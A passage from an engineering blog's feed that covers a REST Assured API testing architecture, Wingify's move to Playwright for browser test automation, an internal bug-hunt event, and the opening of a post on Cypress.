required for testing. Identifies and rectifies Business logic bug APIs represent specific business logic, it is easier for the teams to isolate the buggy module and rectify it. The bugs reported early can be fixed and retested, independently yet again. This reduces the quantum of time taken between builds and release cycles, resulting in faster release of products. The amount and variety of input data combinations inadvertently lead to testing limit conditions that may not be identified/tested otherwise. This exposes vulnerabilities, if any, at an earlier stage even before UI has been developed. These vulnerabilities can then be rectified on a priority basis and any potential loophole for breaches is handled. When there are multiple APIs from different sources involved in the development of an application, the interface handshake may or may not be firm. API testing deep dives into these integration challenges and handles them at earlier stages. This ensures that the end-user experience is not affected because of the issues that could have been dealt with at the API level. What does our Architecture look like? Our Architecture is classified into 3 parts 1. TestClass Almost every class extends BaseTest Class that helps us to log in before test class execution &#x26; logout once the test class gets executed We use the ‘TestUtilFunctions’ class to perform operations like validating the status code, fetching JSON value from the Response, validating the JSON schema <div style="text-align:center; margin: 10px;"> <img src="/images/2022/05/image1.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> 2. HelperClass It creates an object of BaseApi class ( BaseApi Class which deals with cookies, header map, and request parameters from the builder class) It sets Method Type(Get, Post, Patch, Delete), Basepath, and endpoints, and then returns the response to the Test class for validation <div style="text-align:center; margin: 10px;"> <img src="/images/2022/05/image5.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> 3. BuilderClass The main purpose of a builder class is to create, customize and send requests JSON for POST and PATCH calls. The requested data is used is then used by the helper class to edit the endpoints as per the need. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/05/image4.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Other important parts of the architecture 4. POJO (plain old java object) The POJO class is created to use the objects in other Java Programs. The major advantage of the POJO class is that we will not have to create objects every time in other Java programs. Simply we can access the objects by using the get() and set() methods. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/05/image2.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> 5. Execution We use Gradle for the execution of our test cases. Gradle is an open-source build automation tool that is designed to be flexible enough to build almost any type of software. A build automation tool is used to automate the creation of applications. The building process includes compiling, linking, and packaging the code. The process becomes more consistent with the help of build automation tools. 6. Reports We use ‘Extent Reports’ to display the reports of our executed test cases. In the automation framework, reporting is a very important part where we can see the consolidated output of our all tests. An easily readable report with all the necessary parameters always helps to debug faster. Extent report is a reporting framework that we can add to our existing test framework. It supports the below features over a traditional reporting framework: <ul> <li>Customize our reports as per need.</li> <li>Provides a graphical representation and also a fancy look.</li> <li>Support for search.</li> <li>Support for filter based on status (PASS/FAIL/SKIP).</li> <li>Categories result based on an exception.</li> <li>Categories tests if there are multiple test suites/test cases.</li> <li>View total test count, start/end time, and total time is taken.</li> <li>Print the exceptions for failed cases.</li> <li>Allows capturing a screenshot.</li> </ul> <div style="text-align:center; margin: 10px;"> <img src="/images/2022/05/image3.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> If a test case fails below details should display in the report: <ul> <li>Test class name, Test name</li> <li>URL</li> <li>Request payload</li> <li>Response</li> <li>And all the input parameters passed from CSV</li> </ul> So it becomes easy for the Tester to identify the issue and the root cause of the issue 7. Testsuites It is a collection of test cases that are intended to be used to test a software program to show that it has some specified set of behavior A suite is represented by one XML file. It can contain one or more tests and is defined by the <suite> tag. A test is represented by <test> and can contain one or more TestNG classes. A TestNG class is a Java class that contains at least one TestNG annotation. It is represented by the <class> tag and can contain one or more test methods. A test method is a Java method annotated by @Test in the source. For Eg: Testcases revolving around A/B, MVT, Split, and Mobile A/B will be part of one suite, similarly, Goals, Funnels, and Heatmaps will be part of another one Conclusion APIs evolve and develop as and when business and functional requirements change, thus making it even more important to test them on a continuous basis. API test automation helps in covering a high number of test cases, functional and non-functional. Also, for a complete scenario check API testing requires running both, positive and negative tests. Since API Testing is a critical part of any development life cycle, REST Assured Framework is one of the most widely used Web Services Testing tools in Java. Advanced features, along with simplicity in implementation, make it a must for any testers to ensure quality in the end product. With its fluent approach and the expressive method names, it makes the call .</content:encoded><author>Rahul Pandey</author></item><item><title><![CDATA[Playwright – The Rightful Heir]]></title><description><![CDATA[The hunt has ended. Protractor's successor has finally been found! Introducing Playwright, the new star of test automation:-). An end-to-end…]]></description><link>https://engineering.wingify.com//posts/playwright-the-rightful-heir/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/playwright-the-rightful-heir/</guid><pubDate>Wed, 21 Sep 2022 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> The hunt has ended. Protractor's successor has finally been found! Introducing <a href="https://playwright.dev/">Playwright</a>, the new star of test automation:-). An end-to-end web browsers automation tool (since 2020), open-source and managed by Microsoft, by the Puppeteer team, that supports all current browsers including Google Chrome and Microsoft Edge via Chromium, Apple Safari via WebKit, and Mozilla Firefox. The article will discuss the reasons why we chose the Playwright, what we liked, and some limitations. <h2 id="why-playwright" style="position:relative;"><a href="#why-playwright" aria-label="why playwright permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Why Playwright</h2> Playwright has all the capabilities of a competent test automation tool, such as <a href="https://engineering.wingify.com/posts/Cypress-a-worthy-replacement-for-protractor/">Cypress</a> and Puppeteer, but none of the flakiness that comes with Selenium. It is compatible with major CI/CD servers. It supports a variety of programming languages, including TypeScript, JavaScript, Python,.NET, and Java, offering QAs more possibilities for writing test scripts. Additionally, it supports mobile emulation of both Google Chrome for Android and Mobile Safari It offers a long list of features, but I would like to mention my personal favourite – Auto-wait. Playwright waits for elements to be actionable prior to performing actions. It also includes a variety of <a href="https://playwright.dev/docs/events">events</a>. The combination of the two removes the need for artificial timeouts, which are the root cause of flaky tests. When a Playwright test script is executed by a tester, the UI is prepared in the backend before the test interacts with web resources. Furthermore, if you're working on an Angular app like us, you may need to <a href="https://playwright.dev/docs/protractor#polyfilling-waitforangular">polyfill protractor's waitForAngular</a> in some circumstances. We'd also need to add waits for the new window/pop-ups to load, as mentioned in the code below. Additionally, below are some factors that helped us shortlist Playwright for our AUT at <a href="https://wingify.com/">Wingify</a> - <ol> <li>It supports cross-domain testing, allowing you to visit two domains with different sources in the single test instance. The main disadvantage of Cypress is addressed.</li> <li>It can handle scenarios involving multiple tab, shadow-dom, multiple iframes, file downloads and uploads. Everything works smoothly on Chrome.</li> <li>The Window and Iframe handling is another plus, there is no notion of Window switching; in an open context, each page is a unique page and to access <a href="https://playwright.dev/docs/pages#handling-new-pages">newPage</a> we can simply say</li> </ol> <div class="gatsby-highlight" data-language="tsx"><pre class="language-tsx"><code class="language-tsx">const [newPage] = await Promise.all([ context.waitForEvent('page'), page.locator('a[target="_blank"]').click() *// Opens a new tab* ]) await newPage.waitForLoadState(); await newPage.locator('[id="new-window"]').click();</code></pre></div> <ol start="4"> <li>For <a href="https://playwright.dev/docs/frames">Iframe</a>, we don't have to move to an iframe and then to default content to access an element in an iframe; instead, we just do</li> </ol> <div class="gatsby-highlight" data-language="tsx"><pre class="language-tsx"><code class="language-tsx">newPage.frameLocator('[id="heatmap-iframe"]').locator('[id="heatmap-btn"]').click();</code></pre></div> <ol start="5"> <li>Supports Selenium Grid, but only with Chromium.</li> <li>We can easily include a beautiful <a href="https://github.com/allure-framework">Allure HTML reporter</a> into your Playwright project. I'm sure you won't be disappointed if you try Playwright Test and Allure.</li> <li>Playwright supports <a href="https://playwright.dev/docs/mock">Mock APIs</a> as well as monitoring and modifying <a href="https://playwright.dev/docs/network">network traffic</a>. We will be using this in one of our projects and would discuss it in a future blog.</li> </ol> <h2 id="other-things-we-liked" style="position:relative;"><a href="#other-things-we-liked" aria-label="other things we liked permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Other things we liked</h2> <h3 id="browsercontext-concept" style="position:relative;"><a href="#browsercontext-concept" aria-label="browsercontext concept permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>BrowserContext concept</h3> In Puppeteer and Protractor (WebDriverJS wrapper) you have Browsers and Pages. Each Page in a Browser has a common state across Browsers. So creating separate tests with one Browser (to avoid the inefficiency of creating one Browser for each test) requires special code to delete all cookies and local storage between tests. Playwright solves this problem with the <a href="https://playwright.dev/docs/browser-contexts">BrowserContext</a> object, a new incognito window where its pages are created: each test can use the same browser but a different BrowserContext. <h3 id="retry-with-video" style="position:relative;"><a href="#retry-with-video" aria-label="retry with video permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Retry with video</h3> Another feature I like about Playwright Test is the ability to retry with video option. You specify the following in your playwright.config.js file: <div class="gatsby-highlight" data-language="tsx"><pre class="language-tsx"><code class="language-tsx">module.exports = { use: { headless: true, screenshot: 'only-on-failure', video: 'retry-with-video' }, retries: 1 }</code></pre></div> When the video option is paired with the retry option, Playwright will re-run the test while shooting a video of the re-run. If the test fails on the second attempt, the video will be saved in the test results (alongside the screenshot if you config it to capture screenshots also). It's a lightweight webm video that's easy to capture during CI and share. <h3 id="debugging-with-playwright-inspector-tool" style="position:relative;"><a href="#debugging-with-playwright-inspector-tool" aria-label="debugging with playwright inspector tool permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Debugging with Playwright Inspector tool</h3> Next, let me demo the <a href="https://playwright.dev/docs/debug#playwright-inspector">Inspector</a> tool by running the test using the following command. <div class="gatsby-highlight" data-language="tsx"><pre class="language-tsx"><code class="language-tsx">PWDEBUG=1 npx playwright test</code></pre></div> <div style="text-align:center; margin: 10px;"> <img src="/images/2022/04/debugger.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> This launches the inspector tool beside the browser window and awaits my click on the Resume button to proceed to the next phase. We may use the Inspector tool to debug each line of code and check how it works in real-time on the browser. The 'Explore' button allows us to hover over any web element on the web page, and clicking on any element on the page displays the element locator, making it easy to locate element pathways. The location for the highlighted element is shown underneath it. <h3 id="test-trace-viewer" style="position:relative;"><a href="#test-trace-viewer" aria-label="test trace viewer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Test Trace Viewer</h3> Playwright <a href="https://playwright.dev/docs/trace-viewer">Trace Viewer</a> is a GUI tool that allows us to view recorded Playwright traces after the script ran. In the test configuration file, set the <code class="language-text">trace:&#39;retain-on-failure&#39;</code> option. This will generate a trace.zip file for each test, but it will be removed from successful test runs. You can open the saved trace using : <div class="gatsby-highlight" data-language="tsx"><pre class="language-tsx"><code class="language-tsx">npx playwright show-trace trace.zip</code></pre></div> <div style="text-align:center; margin: 10px;"> <img src="/images/2022/04/trace_viewer.gif" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h3 id="parallel-testing-in-the-same-file" style="position:relative;"><a href="#parallel-testing-in-the-same-file" aria-label="parallel testing in the same file permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Parallel Testing in the same file</h3> Parallel testing is another useful aspect of Playwright. Unlike other tools, it allows you to simultaneously test multiple tests within a single file. By default, test files are executed in parallel. To deactivate parallelism, we must restrict the number of <a href="https://playwright.dev/docs/test-parallel#disable-parallelism">workers to one</a>. Also, by default, tests in a single file are executed sequentially in the same worker process. We may use <code class="language-text">test.describe.parallel(title, callback)</code> to execute tests in a <a href="https://playwright.dev/docs/api/class-test#test-describe-parallel">single file in parallel</a>. <h3 id="screenshots-and-visual-comparisons" style="position:relative;"><a href="#screenshots-and-visual-comparisons" aria-label="screenshots and visual comparisons permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Screenshots and visual comparisons</h3> Playwright provides the ability to take snapshots during the test. It is even possible to compare your screenshots against pre-recorded ones.: <div class="gatsby-highlight" data-language="tsx"><pre class="language-tsx"><code class="language-tsx">expect(await page.screenshot()).toMatchSnapshot({maxDiffPixelRatio:0.001});</code></pre></div> The maxDiffPixelRatio is required. Because modern browsers take shortcuts when rendering, the outcome is not completely replicable. Subpixel differences are common – something you don't notice, but it helps the browser to render faster. As a result, allowing for a limited number of distinct pixels makes sense. In any case, anti-aliased pixels are ignored by default. Playwright makes use of the <a href="https://github.com/mapbox/pixelmatch">pixelmatch</a> library. That is the node.js equivalent of <a href="https://github.com/otto-de/jlineup">jLineUp</a>, but it is much smaller and a better fit in a node.js context. <h3 id="locators" style="position:relative;"><a href="#locators" aria-label="locators permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Locators</h3> Locators are the central piece of Playwright’s auto-waiting and retry-ability. In a nutshell, locators represent a way to find element(s) on the page at any moment. In this snippet, we captured the elements for <a href="https://app.vwo.com/">VWO</a> login screen. <div class="gatsby-highlight" data-language="tsx"><pre class="language-tsx"><code class="language-tsx">// Getter for locators get inputEmail() { return this.page.locator('[id="login-username"]'); } get inputPassword() { return this.page.locator('[id="login-password"]'); } get btnSignin() { return this.page.locator('[id="js-login-btn"]'); }</code></pre></div> Notice that we are using ‘locator’ instead of the conventional element handle ($) to find web elements. The difference between the <a href="https://playwright.dev/docs/api/class-locator">Locator</a> and <a href="https://playwright.dev/docs/api/class-elementhandle">ElementHandle</a> is that the latter points to a particular element, while the Locator captures the logic of how to retrieve that element. <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> Playwright is a great framework to explore, and it's just getting better as new capabilities are added in regular updates. It has evolved significantly since its inception and has a rising user base. I should clarify that this post merely scratched the surface of the Playwright iceberg. There are many more great aspects of Playwright that you should investigate, and I hope this post encourages you to do so. According to the Playwright POC we did, it appears to be a suitable fit for our cases. Everything works well with Chrome. From Playwright's end, there were some challenges with our application's login screen. After submitting the form, it became stuck in the loading phase. A similar problem was already reported to the playwright team, and it was resolved within a short period of time. When writing end-to-end tests, one may face several difficulties. However, if you encounter problems, you may file a bug/feature request in <a href="https://playwright.dev/community/welcome#github">Git</a> to get them addressed.</content:encoded><author>Pratik Sisodia</author></item><item><title><![CDATA[The Big Bug Hunt - Wingify]]></title><description><![CDATA[Quality is never an accident. It is always the result of intelligent effort. In line with the above quote, we organized a quality-focused…]]></description><link>https://engineering.wingify.com//posts/Big_Bug_Hunt/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Big_Bug_Hunt/</guid><pubDate>Fri, 25 Mar 2022 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Quality is never an accident. It is always the result of intelligent effort. In line with the above quote, we organized a quality-focused event called: THE BIG BUG HUNT! Apart from the usual format of the ‘typical-Bugathon’, we added a few elements to make the event more interesting, engaging, and even more fruitful. <h1 id="how-well-did-we-do" style="position:relative;"><a href="#how-well-did-we-do" aria-label="how well did we do permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How well did we do:</h1> <ul> <li>We had an astounding response with almost a third of the organization participating and contributing towards finding bugs and suggesting improvements.</li> <li>A total of 170+ tickets were logged.</li> <li>High and Medium priority tickets among these were all picked up and fixed within the next two sprints.</li> </ul> <h1 id="what-were-the-key-objectives-we-set-out-to-achieve" style="position:relative;"><a href="#what-were-the-key-objectives-we-set-out-to-achieve" aria-label="what were the key objectives we set out to achieve permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What were the key objectives we set out to achieve?</h1> <ul> <li>Get abundant participation so that we can find issues and suggestions from diverse viewpoints. We targeted people from different vertices, not just Engineering.</li> <li>Focus all effort and energy on critical areas and on finding quality bugs. </li> <li>Most importantly, speedy fixes to the logged bugs.</li> </ul> <h1 id="how-did-we-manage-to-achieve-our-objectives" style="position:relative;"><a href="#how-did-we-manage-to-achieve-our-objectives" aria-label="how did we manage to achieve our objectives permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How did we manage to achieve our objectives?</h1> <ol> <li>The Bumper Participation: We Worked towards building a buzz around the event. Though we are techies, we were mighty proud of our marketing skills for the BBH :) </li> <li>Teasers were sent out in mails and on Slack channels.</li> <li>Follow-up emails were sent, each revealing more about the event bit-by-bit. One email revealed the date, while the other revealed the format. We had one to explain the points system(yes, we gamified it), while another talked about the ideal format of the Jira tickets(Since not all participants usually use Jira). The image below(followed by a detailed format) is such an example.</li> </ol> <div style="text-align:center; margin: 10px;"> <img src="/images/2022/03/BBH_IMAGE1.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <ul> <li>Our CEO, Mr. Sparsh Gupta, was kind enough to not only endorse but also register and compete in the event, we were able to leverage this as an additional motivation to the entire team, across verticals, to participate. All through this phase, we emphasized the fact that this is not a tech event and everyone can participate and stand a chance to win the event.</li> <li>Focus &#x26; Quality: The rules for scoring were such that people were rewarded for finding good quality, meaty issues. Each reported(valid) issue could score in the range of 1-3, 3 being the highest. On top of that, a bonus point of 0.5 could be additionally scored if the bug was of a specific product area(the most business-critical). The image below shows the various categories prizes should be won in. </li> </ul> <div style="text-align:center; margin: 10px;"> <img src="/images/2022/03/BBH_IMAGE2.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <ol start="3"> <li>Speedy Fixes: The dev team too was a part of the ‘hunting-party’ during the event and started fixing the issues only after the event was over and the bugs were ranked and prioritized by the panel (comprising our CEO, Head of Engineering, Head of Product Success). This helped us take a structured approach picking them in the order of priority. The image below shows the same as communicated to the team.</li> </ol> <div style="text-align:center; margin: 10px;"> <img src="/images/2022/03/BBH_Image3.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> All in all the BBH turned out to be a super-fun yet productive event with numerous other elements such as this live leader-board dashboard with hourly updates on the dedicated BBH Slack channel. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/03/BBH_Image4.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <div style="text-align:center; margin: 10px;"> <img src="/images/2022/03/BBH_Image5.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div></content:encoded><author>Kandeel Chauhan</author></item><item><title><![CDATA[Cypress - A worthy replacement for Protractor?]]></title><description><![CDATA[We, at Wingify, have implemented our web automation tests using Protractor. Although the old horse has served us well it is fast approaching…]]></description><link>https://engineering.wingify.com//posts/Cypress-a-worthy-replacement-for-protractor/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Cypress-a-worthy-replacement-for-protractor/</guid><pubDate>Thu, 24 Mar 2022 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> We, at Wingify, have implemented our web automation tests using Protractor. Although the old horse has served us well it is fast approaching it's end of life. And so, the hunt for a worthy successor begins. In this article, we will talk about what we love about Cypress, the drawbacks, trade-offs, and dealbreakers(if any). <h2 id="part1--the-honeymoon" style="position:relative;"><a href="#part1--the-honeymoon" aria-label="part1 the honeymoon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Part1- The honeymoon!</h2> Having spent a week and a half exploring Cypress as a potential replacement to Protractor, we found a lot of things we like about it. <h1 id="debugging-with-cypress-is-a-cakewalk" style="position:relative;"><a href="#debugging-with-cypress-is-a-cakewalk" aria-label="debugging with cypress is a cakewalk permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Debugging with Cypress is a cakewalk:</h1> Contrary to what we read in certain blogs, we like debugging features in Cypress. While some dislike the constraint of “no logs in Visual Studio Code”, we feel there is a lot to like in the Cypress "Test Runner". <ul> <li>Mapping of logs and snapshots with each step of the script in test runner is easy to follow.</li> <li>Breakpoints can be added with cy.pause() and we can continue debugging in the test runner.</li> <li>And best of all, we can view browser console/network tabs in the test runner itself which makes debugging immensely convenient.</li> <li>Also worth a mention - Option for recording the test runs into a video, and the fact that it can be run in 'headed' mode even through CLI when the need arises.</li> </ul> <h1 id="runs-directly-on-the-browserno-web-driver" style="position:relative;"><a href="#runs-directly-on-the-browserno-web-driver" aria-label="runs directly on the browserno web driver permalink" class="anchor before"><svg 